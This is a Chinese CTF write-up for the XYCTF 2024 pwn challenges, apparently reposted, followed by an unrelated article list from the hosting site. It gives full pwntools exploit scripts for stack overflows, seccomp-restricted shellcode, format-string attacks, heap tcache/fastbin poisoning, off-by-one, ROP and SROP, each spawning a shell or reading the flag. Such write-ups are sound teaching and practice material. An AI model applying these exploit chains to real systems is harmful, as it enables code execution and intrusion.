[XYCTF新生賽2024] pwn

用了一周來復現crypto部分(不能算是復現,拿著 糖醋小雞塊的WP一點點學了下)。

兩天時間復現PWN部分。相對來說PWN比密碼這塊要簡單,不過ARM,MIPS懶得學了,跳過。

malloc_flag

題目先打開flag將建0x100的塊,然后把flag讀入再free掉塊。后邊允許建塊和show。只要再建個同大小的塊然后show就能拿到flag

hello_world

int __cdecl main(int argc, const char **argv, const char **envp)
{char buf[20]; // [rsp+0h] [rbp-20h] BYREFinit();printf("%s", "please input your name: ");read(0, buf, 0x48uLL);printf("Welcome to XYCTF! %s\n", buf);printf("%s", "please input your name: ");read(0, buf, 0x48uLL);printf("Welcome to XYCTF! %s\n", buf);return 0;
}

有兩次讀入和輸出并且可以溢出,第1次輸入0x28長得到libc_start_main_ret,第2次再溢出寫pop_rdi,bin_sh,system

from pwn import *
context(arch='amd64', log_level='debug')libc = ELF('./libc.so.6')
#p = process('./eztext')
p = remote('gz.imxbt.cn', 20022)p.sendafter(b"please input your name: ", b'A'*0x28)
p.recvuntil(b'A'*0x28)
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x29d90pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
bin_sh = next(libc.search(b'/bin/sh\0'))
system = libc.sym['system']p.sendafter(b"please input your name: ", b'A'*0x28+ flat(pop_rdi+1, pop_rdi, bin_sh, system))p.interactive()

Intermittent

是個shellcode題,輸入的shellcode被分成3段每斷4字節

    write(1, "show your magic: ", 0x11uLL);read(0, buf, 0x100uLL);for ( i = 0LL; i <= 2; ++i )*((_DWORD *)v5 + 4 * i) = buf[i];v5();

前邊兩段需要jmp $+14跳到下一塊,用push,pop設置參數后syscall作個read讀入后邊的shellcode

from pwn import *
context(arch='amd64', log_level='debug')
p = remote('gz.imxbt.cn', 20029)shellcode = asm("push rdx;pop rsi;jmp $+14;")
shellcode+= asm("push rax;pop rdi;jmp $+14;")
shellcode+= asm("push rsi;pop rdx;syscall;")p.sendafter(b"show your magic: ", shellcode.ljust(0x100, b'\x90'))
p.send(b'\x90'*0x28 + asm(shellcraft.sh()))p.interactive()

invisible_flag

第2個shellcode題,但作了seccomp禁用了open,read,readv,write,writev,execve,execveat

用openat打開然后sendfile,可以直接用shellcraft.openat,這是專門手搓個只有0x20字節的。

from pwn import *context(arch='amd64', log_level='debug')
libc = ELF('./libc.so.6')p = remote('gz.imxbt.cn', 20029)#int openat(int dirfd, const char *pathname, int flags, mode_t mode);
#含/flag 0x20字節
shellcode = f"""
push rdx;pop rsi;xor rsi,0x1b;
push rbx;pop rdx;
inc al;inc ah;
syscall;push 1;pop rdi;
xchg rax,rsi;
/* push rbx;pop rdx; */ /*rdx=0*/
xor r10,r11;
push 0x28;pop rax;
syscall;
"""p.sendafter(b"show your magic again\n", asm(shellcode).ljust(0x100,b'\x90')+b'/flag')p.interactive()

fmt

這個格式化字符串漏洞用的是scanf也就是指定參數讀入

int __cdecl main(int argc, const char **argv, const char **envp)
{char buf1[32]; // [rsp+0h] [rbp-30h] BYREFunsigned __int64 v5; // [rsp+28h] [rbp-8h]v5 = __readfsqword(0x28u);init();printf("Welcome to xyctf, this is a gift: %p\n", &printf);read(0, buf1, 0x20uLL);__isoc99_scanf(buf1);printf("show your magic");return 0;
}

先指定一個偏移讀%7$s,再在偏移處寫上指針,然后就能把后門寫到指針處。

2.31還有exit_hook在rtld_global+3848處,并且與libc位置固定。

在docker上起的時候比本地少0x6000

from pwn import *context(arch='amd64', log_level='debug')libc = ELF('./libc-2.31.so')p = remote('gz.imxbt.cn', 20038)p.recvuntil(b"gift: ")
libc.address = int(p.recvline(),16) - libc.sym['printf']#exit->fs+30->_rtld_global+3848
#0x7ffff7ffdf68 <_rtld_global+3848>:     0x00000000004012be 
exit_hook = libc.address +0x222f68
#exit_hook += 0x6000 #local offset 本地比遠程多0x6000
p.send(flat(b'%7$s\0\0\0\0',exit_hook,0,0))p.sendline(p64(0x4012be))p.interactive()

?fastfastfast

從題目上看是用fastbinAttack,因為2.31不再允許直接在tcache里double free所以要先填滿tcache再在fastbin里double free,第1次泄露libc,第2次寫free_hook

from pwn import *context(arch='amd64', log_level='debug')libc = ELF('./libc-2.31.so')
elf = ELF('./vuln')#p = process('./vuln')
p = remote('gz.imxbt.cn', 20043)def add(idx, msg='A'):p.sendlineafter(b">>> ", b'1')p.sendlineafter(b"please input note idx\n", str(idx).encode())p.sendafter(b"please input content\n", msg)def free(idx):p.sendlineafter(b">>> ", b'2')p.sendlineafter(b"please input note idx\n", str(idx).encode())def show(idx):p.sendlineafter(b">>> ", b'3')p.sendlineafter(b"please input note idx\n", str(idx).encode())#set notes_list[0]->got.puts leak libc
for i in range(9):add(i)for i in range(7):free(8-i)free(0)
free(1)
free(0)for i in range(7):add(2+i)add(0, p64(0x4040c0))
add(1)
add(10)
add(11, p64(elf.got['puts']))
show(0)
libc.address = u64(p.recv(0x8)) - libc.sym['puts']
print(f"{libc.address = :x}")#__free_hook->system
for i in range(9):add(i)for i in range(7):free(8-i)free(0)
free(1)
free(0)for i in range(7):add(2+i)add(0, p64(libc.sym['__free_hook']))
add(1)
add(10, b'/bin/sh\x00')
add(11)
add(11, p64(libc.sym['system']))free(10)
p.interactive()

ptmalloc2_its_myheap

這題有3道,難度加大。

第1題PIE未開,并且got表可寫。直接覆蓋free為system

3個題的菜單一樣,只有add,free,show,沒有edit稍有點麻煩。

add時先寫個0x18的管理塊,再建數據塊,并將指針和大小寫到管理塊。

free時先free管理塊再free數據塊,并且未清指針,所以有UAF漏洞。

show是用write寫不會出現\0截斷。

通過建0x18的塊覆蓋原來free掉但未清指針的管理塊,控制管理塊的指針,可以實現任意地址讀。

并且可以指定一個位置來 free得到到重疊塊,覆蓋原tcache的指實在在指定位置建塊寫數據。

from pwn import *context(arch='amd64', log_level='debug')libc = ELF('./libc.so.6')
elf = ELF('./vuln')#p = process('./vuln')
p = remote('gz.imxbt.cn', 20044)def add(idx, size, msg='A'):p.sendlineafter(b">>> ", b'1')p.sendlineafter(b"[?] please input chunk_idx: ", str(idx).encode())p.sendlineafter(b"[?] Enter chunk size: ", str(size).encode())p.sendafter(b"[?] Enter chunk data: ", msg)def free(idx):p.sendlineafter(b">>> ", b'2')p.sendlineafter(b"[?] Enter chunk id: ", str(idx).encode())def show(idx):p.sendlineafter(b">>> ", b'3')p.sendlineafter(b"[?] Enter chunk id: ", str(idx).encode())add(0,0x20, flat(0,0,0,0x61))
add(1,0x20)
free(0)
free(1)
add(2,0x18, flat(8,1,0x404018))
show(0)
libc.address = u64(p.recv(8)) - libc.sym['free']
print(f"{libc.address = :x}")free(2)
add(2,0x18, flat(8,1,elf.sym['chunk_list']))
show(1)
heap = u64(p.recv(8)) - 0x2a0
print(f"{heap = :x}")free(2)
add(2,0x18, flat(8,1,heap+0x2e0))
free(0)add(1, 0x58, flat(0,0x21,8,1,0,0x31, (heap>>12)^(elf.got['free']-8)))
add(3,0x20, b'/bin/sh\0')
add(4,0x20, flat(0, libc.sym['system']))free(3)
p.interactive()

ptmalloc2_its_myheap_pro

got表不可寫了,這里有好多攻擊姿勢,其中寫exit_hook(與上題不一樣,2.35沒有rtld_global里的exit_hook,這是個tls里的)前幾天寫過了。通過libc找棧地址,在棧里打到ld地址,通過ld里的rtld_global找到TLS地址在里邊寫ROP,第1斷加密。詳見前邊一篇。

在得到棧地址后可以直接寫棧,這樣在返回地址寫ROP,感覺更方便處理。前邊也寫過了

from pwn import *context(arch='amd64', log_level='debug')libc = ELF('./libc.so.6')
elf = ELF('./vuln')#p = process('./vuln')
p = remote('gz.imxbt.cn', 20075)def add(idx, size, msg='A'):p.sendlineafter(b">>> ", b'1')p.sendlineafter(b"[?] please input chunk_idx: ", str(idx).encode())p.sendlineafter(b"[?] Enter chunk size: ", str(size).encode())p.sendafter(b"[?] Enter chunk data: ", msg)def free(idx):p.sendlineafter(b">>> ", b'2')p.sendlineafter(b"[?] Enter chunk id: ", str(idx).encode())def show(idx):p.sendlineafter(b">>> ", b'3')p.sendlineafter(b"[?] Enter chunk id: ", str(idx).encode())add(0,0x20, flat(0,0,0,0x61))
add(1,0x20)
free(0)
free(1)
add(2,0x18, flat(8,1,elf.got['free']))
show(0)
libc.address = u64(p.recv(8)) - libc.sym['free']
print(f"{libc.address = :x}")free(2)
add(2,0x18, flat(8,1,elf.sym['chunk_list']))
show(1)
heap = u64(p.recv(8)) - 0x2a0
print(f"{heap = :x}")free(2)
add(2,0x18, flat(8,1,libc.sym['_environ']))
show(0)
stack = u64(p.recv(8))
print(f"{stack = :x}")free(2)
add(2,0x18, flat(8,1,stack-0x68))
show(1)
ld_address = u64(p.recv(8)) - 0x3b2e0
print(f"{ld_address = :x}")_rtld_global = ld_address + 0x3a040
free(2)
add(2,0x18, flat(8,1,_rtld_global+0x20))
show(0)
tls = u64(p.recv(8)) - 0x3150 + 0x740
print(f"{tls = :x}")free(2)
add(2,0x18, flat(0x10,1,tls+0x28))
show(1)
canary = u64(p.recv(8)) 
pointer_guard = u64(p.recv(8)) 
print(f"{canary = :x} {pointer_guard}")free(2)
add(2,0x18, flat(8,1,heap+0x2e0))
free(0)add(1, 0x58, flat(0,0x21,8,1,0,0x31, (heap>>12)^(stack-0x148)))add(3,0x20, b'/bin/sh\0')pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
add(4,0x28, flat(0, pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\0')), libc.sym['system']))p.interactive()

ptmalloc2plus

這個PIE也打開了,不能直接讀got表得到libc了,需要用unsort。

這題在seccomp的時候建了很多塊然后free,所以tcache里非常亂,亂給它耗掉,然后free0x90塊8次利用unsort.fd可以直接得到libc.

還是上題的思路,這次先把ROP寫到堆里,在棧里寫rbp,leave_ret進行移棧。

from pwn import *context(arch='amd64', log_level='debug')libc = ELF('./libc.so.6')
elf = ELF('./vuln')#p = process('./vuln')
p = remote('gz.imxbt.cn', 20076)def add(idx, size, msg='A'):p.sendlineafter(b">>> ", b'1')p.sendlineafter(b"[?] please input chunk_idx: ", str(idx).encode())p.sendlineafter(b"[?] Enter chunk size: ", str(size).encode())p.sendafter(b"[?] Enter chunk data: ", msg)def free(idx):p.sendlineafter(b">>> ", b'2')p.sendlineafter(b"[?] Enter chunk id: ", str(idx).encode())def show(idx):p.sendlineafter(b">>> ", b'3')p.sendlineafter(b"[?] Enter chunk id: ", str(idx).encode())#耗掉前邊不連續的0x20塊
for i in range(5):add(0,0x18)add(0,0x18)
free(0)
add(1,0x18)
show(1)
heap = u64(p.recv(0x18)[0x10:]) - 0x14a0
print(f"{heap = :x}")for i in range(9):add(i+2,0x80)
for i in range(8):   #unsort +0x19b0free(i+2)
for i in range(4):add(i+2, 0x18)free(1)
add(0,0x18, flat(0x18,1,heap+0x19b0))
show(1)
libc.address = u64(p.recv(0x10)[8:]) - 0x21ace0
print(f'{libc.address = :x}')free(0)
add(1,0x18, flat(0x18,1,libc.sym['_environ']))
show(0)
stack = u64(p.recv(8)) - 0x148 #chunk_add.ret
print(f"{stack = :x}")free(2)
free(3)
add(2, 0x28, flat(0,0,0,0x41))
add(3, 0x28)free(2)
free(3)
free(1)
add(0, 0x18, flat(0x38,1, heap+0x19d0))
free(1)
add(1, 0x38, flat(0,0x31, ((heap+0x19d0)>>12)^stack  ))for i in range(8):add(2,0x80)pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
pop_rsi = libc.address + 0x000000000002be51 # pop rsi ; ret
pop_rdx = libc.address + 0x00000000000904a9 # pop rdx ; pop rbx ; ret
pop_rcx = libc.address + 0x0000000000108b04 # pop rcx ; pop rbx ; ret
pop_rax = libc.address + 0x0000000000045eb0 # pop rax ; ret
leave_ret = libc.address + 0x000000000004da83 # leave ; ret
syscall = libc.sym['getpid'] + 9
buf = heap+0x1cf0#ROP 比塊長,分兩斷,中間用ppp跳過
pay1 = flat([pop_rdi, buf, pop_rsi, 0, pop_rax,2, syscall,pop_rdi, 3, pop_rsi, buf, pop_rdx, 0x50, 0, pop_rdi+1, pop_rcx])
pay2 = flat([pop_rax,0, syscall,pop_rdi, 1, pop_rax, 1, syscall
]) +  b'flag\x00'add(2,0x18,b'2')
free(2)
add(3, 0x80, pay1)
add(4, 0x80, pay2)add(5, 0x28)
add(5, 0x28, flat(heap+0x1c20-8, leave_ret))p.interactive()

vuln

這是個靜態編譯的題,直接用ROPgadget得到ROP再修改一下

from pwn import *
from struct import packcontext(arch='amd64', log_level='debug')#io = process('./vuln')
io = remote('gz.imxbt.cn', 20077)#ROPgadget --binary vuln --ropchain
p = b'\x00'*0x28p += pack('<Q', 0x0000000000409f8e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e0) # @ .data
p += pack('<Q', 0x0000000000447fe7) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000044a465) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000409f8e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x000000000043d1b0) # xor rax, rax ; ret
p += pack('<Q', 0x000000000044a465) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000401f1f) # pop rdi ; ret
p += pack('<Q', 0x00000000004c50e0) # @ .data
p += pack('<Q', 0x0000000000409f8e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x0000000000451322) # pop rdx ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x000000000043d1b0) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000447fe7) # pop rax ; ret
p += b'\x3b'+b'\x00'*7
p += pack('<Q', 0x0000000000401cd4) # syscallio.send(p)
io.interactive()

one_byte

比前邊幾題多了edit,在edit時可以多輸入1字節。可以通過1字節覆蓋后邊塊頭變大,free里再建得到重疊塊進行tcache攻擊。

from pwn import *context(arch='amd64', log_level='debug')libc = ELF('./libc.so.6') #2.31-0ubuntu9.14
elf = ELF('./vuln')#p = process('./vuln')
p = remote('gz.imxbt.cn', 20078)def add(idx, size):p.sendlineafter(b">>> ", b'1')p.sendlineafter(b"[?] please input chunk_idx: ", str(idx).encode())p.sendlineafter(b"[?] Enter chunk size: ", str(size).encode())def free(idx):p.sendlineafter(b">>> ", b'2')p.sendlineafter(b"[?] please input chunk_idx: ", str(idx).encode())def show(idx):p.sendlineafter(b">>> ", b'3')p.sendlineafter(b"[?] please input chunk_idx: ", str(idx).encode())def edit(idx,msg):p.sendlineafter(b">>> ", b'4')p.sendlineafter(b"[?] please input chunk_idx: ", str(idx).encode())p.send(msg)add(0,0x18)
add(1,0x18)
add(2,0x200)
add(3,0x200)
add(4,0x18)edit(2, flat(0,0,0,0x1f1))
edit(0, flat(0,0,0)+b'\x41')
free(1)
add(1, 0x38)
edit(1, flat(0,0,0,0x421))
free(2)
show(1)
libc.address = u64(p.recv(0x28)[0x20:]) - 0x1ecbe0
print(f"{libc.address = :x}")add(2, 0x18)
free(0)
free(2)
edit(1, flat(b'/bin/sh\0',0,0,0x21, libc.sym['__free_hook']))
add(2, 0x18)
add(0, 0x18)
edit(0, p64(libc.sym['system']))
free(1)
p.interactive()

Guessbook1

邊界溢出,可以溢出1字節寫到rbp的尾字節,再main_leave_ret時會發生移棧。先把后門寫上然后將rbp尾字節改小

from pwn import *
context(arch='amd64', log_level='debug')#p = process('./pwn')
#gdb.attach(p, "b*0x401320\nc")
p = remote('gz.imxbt.cn', 20079)def note(idx,name,ids):p.sendlineafter(b"index\n", str(idx).encode())p.sendafter(b"name:\n", name)p.sendlineafter(b"id:\n", str(idx).encode())for i in range(32):note(i, p64(0x401328)*2,i)note(32,b'A'*0x10, 0)  #rbp = xxx0
p.sendlineafter(b"index\n", b'-1')p.interactive()

babyGift

這題提示的gift一直沒找到有啥用,感覺唯一的用處就是填充了rdi

先用printf;ret得到libc地址,然后調用_start得新開始,再寫ROP

from pwn import *context(arch='amd64', log_level='debug')libc = ELF('./libc.so.6') #2.31-0ubuntu9.14
elf = ELF('./vuln')#p = process('./vuln')
#gdb.attach(p, "b*0x4012ad\nc")
p = remote('gz.imxbt.cn', 20102)p.sendlineafter(b"Your name:\n", b'A')
#p.sendlineafter(b"Your passwd:\n", b'%p'*0x10 + flat(0x404f00, 0x401202,0x404f00, elf.sym['_start']))
#                                                                                      printf,ret 
p.sendlineafter(b"Your passwd:\n", b'%27$p,%11$p,'.ljust(0x20,b'\x00')+ flat(0x404f00, 0x401202,0x404f00, elf.sym['_start']))libc.address = int(p.recvuntil(b',', drop=True), 16) - 128 - libc.sym['__libc_start_main']
stack = int(p.recvuntil(b',', drop=True), 16)#p.sendlineafter(b"Your name:\n", b'A')
p.sendlineafter(b"Your passwd:\n", b'/bin/sh'.ljust(0x20,b'\x00')+ flat(0x404f00, 0x4012ae, libc.sym['system']))p.interactive()

simple_srop

簡單的SROP,并且直接給了mov rax,0xf;syscall,難點就在于ORW至少需要2次但給的read只有0x200不夠。需要先移棧到BSS再用srop讀入后續的payload。

from pwn import *context(arch='amd64', log_level='debug')#libc = ELF('./libc.so.6') #2.31-0ubuntu9.14
elf = ELF('./vuln')#p = process('./vuln')
#gdb.attach(p, "b*0x4012d4\nc")
p = remote('gz.imxbt.cn', 20108)sig_ret = 0x401296
syscall = 0x40129d
bss = 0x404800#move stack to bss
p.send(flat(b'\x00'*0x20, bss, 0x4012b9).ljust(0x200, b'\x00'))#read(0, bss+0x200,0x600)
pay = b'flag'.ljust(0x20, b'\x00') + flat(bss, sig_ret)
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0
frame.rsi = bss + 0x200
frame.rdx = 0x500
frame.rsp = bss + 0x200  #
frame.rip = syscallpay += bytes(frame)
p.send(pay.ljust(0x200, b'\x00'))pay = p64(sig_ret)
#open
frame = SigreturnFrame()
frame.rax = 2
frame.rdi = bss - 0x20
frame.rsi = 0
frame.rdx = 0
frame.rsp = bss + 0x200 + 0x100  #
frame.rip = syscall
pay += flat(frame)#read
pay += p64(sig_ret)
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 3
frame.rsi = bss-0x100
frame.rdx = 0x50
frame.rbp = bss
frame.rsp = bss + 0x200 + 0x100*2  #
frame.rip = syscall
pay += flat(frame)#write
pay += p64(sig_ret)
frame = SigreturnFrame()
frame.rax = 1
frame.rdi = 1
frame.rsi = bss-0x100
frame.rdx = 0x50
frame.rbp = bss
frame.rsp = bss + 0x200 + 0x100*3  #
frame.rip = syscall
pay += flat(frame)p.send(pay)
p.interactive()

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/37871.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/37871.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/37871.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

[深度學習] Transformer

Transformer是一種深度學習模型&#xff0c;最早由Vaswani等人在2017年的論文《Attention is All You Need》中提出。它最初用于自然語言處理&#xff08;NLP&#xff09;任務&#xff0c;但其架構的靈活性使其在許多其他領域也表現出色&#xff0c;如計算機視覺、時間序列分析…

MySQL高級-SQL優化- limit優化(覆蓋索引加子查詢)

文章目錄 0、limit 優化0.1、從表 tb_sku 中按照 id 列進行排序&#xff0c;然后跳過前 9000000 條記錄0.2、通過子查詢獲取按照 id 排序后的第 9000000 條開始的 10 條記錄的 id 值&#xff0c;然后在原表中根據這些 id 值獲取對應的完整記錄 1、上傳5個sql文件到 /root2、查看…

libctk shared library的設計及編碼實踐記錄

一、引言 1.1 <libctk>的由來 1.2 <libctk>的設計理論依據 1.3 <libctk>的設計理念 二、<libctk>的依賴庫 三、<libctk>的目錄說明 四、<libctk>的功能模塊及使用實例說明 4.1 日志模塊 4.2 mysql client模塊 4.3 ftp client模塊 4…

鴻蒙開發設備管理:【@ohos.geolocation (位置服務)】

位置服務 說明&#xff1a; 本模塊首批接口從API version 7開始支持。后續版本的新增接口&#xff0c;采用上角標單獨標記接口的起始版本。 導入模塊 import geolocation from ohos.geolocation;geolocation.on(‘locationChange’) on(type: ‘locationChange’, request: L…

安卓開發自定義時間日期顯示組件

安卓開發自定義時間日期顯示組件 問題背景 實現時間和日期顯示&#xff0c;左對齊和對齊兩種效果&#xff0c;如下圖所示&#xff1a; 問題分析 自定義view實現一般思路&#xff1a; &#xff08;1&#xff09;自定義一個View &#xff08;2&#xff09;編寫values/attrs.…

poi-tl 生成 word 文件(插入文字、圖片、表格、圖表)

文章說明 本篇文章主要通過代碼案例的方式&#xff0c;展示 poi-tl 生成 docx 文件的一些常用操作&#xff0c;主要涵蓋以下內容 &#xff1a; 插入文本字符&#xff08;含樣式、超鏈接&#xff09;插入圖片插入表格引入標簽&#xff08;通過可選文字的方式&#xff0c;這種方…

俄羅斯防空系統

俄羅斯的S系列防空系統是一系列先進的地對空導彈系統&#xff0c;旨在防御各類空中威脅&#xff0c;包括飛機、無人機、巡航導彈和彈道導彈。以下是幾種主要的S系列防空系統&#xff1a; 1. **S-300系統**&#xff1a; - **S-300P**&#xff1a;最早期的版本&#xff0c;用…

翻譯造句練習

翻譯練習 翻譯 1&#xff1a;經常做運動會提高人的自信 翻譯 2&#xff1a;教學的質量對學生成績有很大的影響。 翻譯 3&#xff1a;家長和老師應該努力去減少小孩看電視的時間。 翻譯 4&#xff1a;經濟的下滑&#xff08;economic slowdown&#xff09;導致失業率的上升 翻譯…

大模型和數據庫最新結合進展

寫在前面 本文主要內容是上次接受 infoQ 訪談&#xff0c;百度智能云朱潔老師介紹了大模型和 AI 結合相關話題&#xff0c;這次整體再刷新下&#xff0c;給到對這個領域感興趣的同學。 當前&#xff0c;百度智能云云數據庫特惠專場開始&#xff01;熱銷規格新用戶免費使用&am…

Android中ViewModel+LiveData+DataBinding的配合使用(kotlin)

Android 中 ViewModel、LiveData 和 Data Binding 的配合使用&#xff08;Kotlin&#xff09; 摘要 本文將介紹如何在 Android 開發中結合使用 ViewModel、LiveData 和 Data Binding 進行數據綁定和狀態更新。我們將詳細探討這三者之間的關系&#xff0c;并展示如何在 Kotlin…

最逼真的簡易交通燈設計

最逼真的簡易交通燈設計 需要資料的請在文章末尾獲取&#xff08;有問題可以私信我哦~~&#xff09; 01 資料內容 Proteus仿真文件程序源碼實物制作&#xff0c;代碼修改&#xff0c;功能定制&#xff08;需額外收費&#xff0c;價格實惠&#xff0c;歡迎咨詢&#xff09; …

實驗場:在幾分鐘內使用 Elasticsearch 進行 RAG 應用程序實驗

作者&#xff1a;來自 Elastic Joe McElroy, Serena Chou 什么是 Playground&#xff08;實驗場&#xff09;&#xff1f; 我們很高興發布我們的 Playground 體驗 —- 一個低代碼界面&#xff0c;開發人員可以在幾分鐘內使用自己的私人數據探索他們選擇的 LLM。 在對對話式搜…

41割隊伍

上海市計算機學會競賽平臺 | YACSYACS 是由上海市計算機學會于2019年發起的活動,旨在激發青少年對學習人工智能與算法設計的熱情與興趣,提升青少年科學素養,引導青少年投身創新發現和科研實踐活動。https://www.iai.sh.cn/problem/387 題目描述 給定 ??n 個數字 ??1,?…

一周小計(1):實習初體驗

實習的第一周&#xff0c;從最開始的配環境做好準備工作&#xff0c;到拉項目熟悉項目&#xff0c;然后自己去寫需求&#xff0c;每一步都有很大收獲&#xff0c;得到很多人幫助真的好感謝&#xff0c;以下是個人這幾天的記錄與感想。 &#xff08;這個其實是我寫的周報&#x…

Hi3861 OpenHarmony嵌入式應用入門--LiteOS Semaphore做同步使用

信號量作為同步使用 創建一個Semaphore對象&#xff0c;并指定一個初始的計數值&#xff08;通常稱為“許可”或“令牌”的數量&#xff09;。這個計數值表示當前可用的資源數量或可以同時訪問共享資源的線程數。當一個線程需要訪問共享資源時&#xff0c;它會嘗試從Semaphore…

加油站可視化:打造智能化運營與管理新模式

智慧加油站可視化通過圖撲 HT 構建仿真的三維模型&#xff0c;將加油站的布局、設備狀態、人員活動等信息動態呈現。管理者可以通過直觀的可視化界面實時監控和分析運營狀況&#xff0c;快速做出決策&#xff0c;提高管理效率和安全水平&#xff0c;推動加油站向智能化管理轉型…

后端之路第三站(Mybatis)——結合案例講Mybatis怎么操作sql

先講一下準備工作整體流程要做什么 我們要基于一個員工管理系統作為案例&#xff0c;進行員工信息的【增、刪、改、查】 原理就是用Mybatis通過java語言來執行sql語句&#xff0c;來達到【增、刪、改、查】 一、準備工作 1、引入數據庫數據 首先我們把一個員工、部門表的數…

【51單片機入門】速通定時器

文章目錄 前言定時器是什么初始化定時器初始化的大概步驟TMOD寄存器C/T寄存器 觸發定時器中斷是什么中斷函數定時器點亮led 總結 前言 在嵌入式系統的開發中&#xff0c;定時器是一個非常重要的組成部分。它們可以用于產生精確的時間延遲&#xff0c;或者在特定的時間間隔內觸…

對外發布的PDF文檔進行數字證書簽名的重要性?

對外發布的PDF文檔進行數字證書簽名具有以下幾個重要性&#xff1a; 身份驗證&#xff1a;數字簽名可以證明文檔的來源&#xff0c;即確認文檔的簽署者身份。這如同在紙質文檔上手寫簽名或加蓋公章&#xff0c;但更安全可靠&#xff0c;因為數字簽名是基于加密技術&#xff0c;…

Java--常用類APl(復習總結)

前言: Java是一種強大而靈活的編程語言&#xff0c;具有廣泛的應用范圍&#xff0c;從桌面應用程序到企業級應用程序都能夠使用Java進行開發。在Java的編程過程中&#xff0c;使用標準類庫是非常重要的&#xff0c;因為標準類庫提供了豐富的類和API&#xff0c;可以簡化開發過…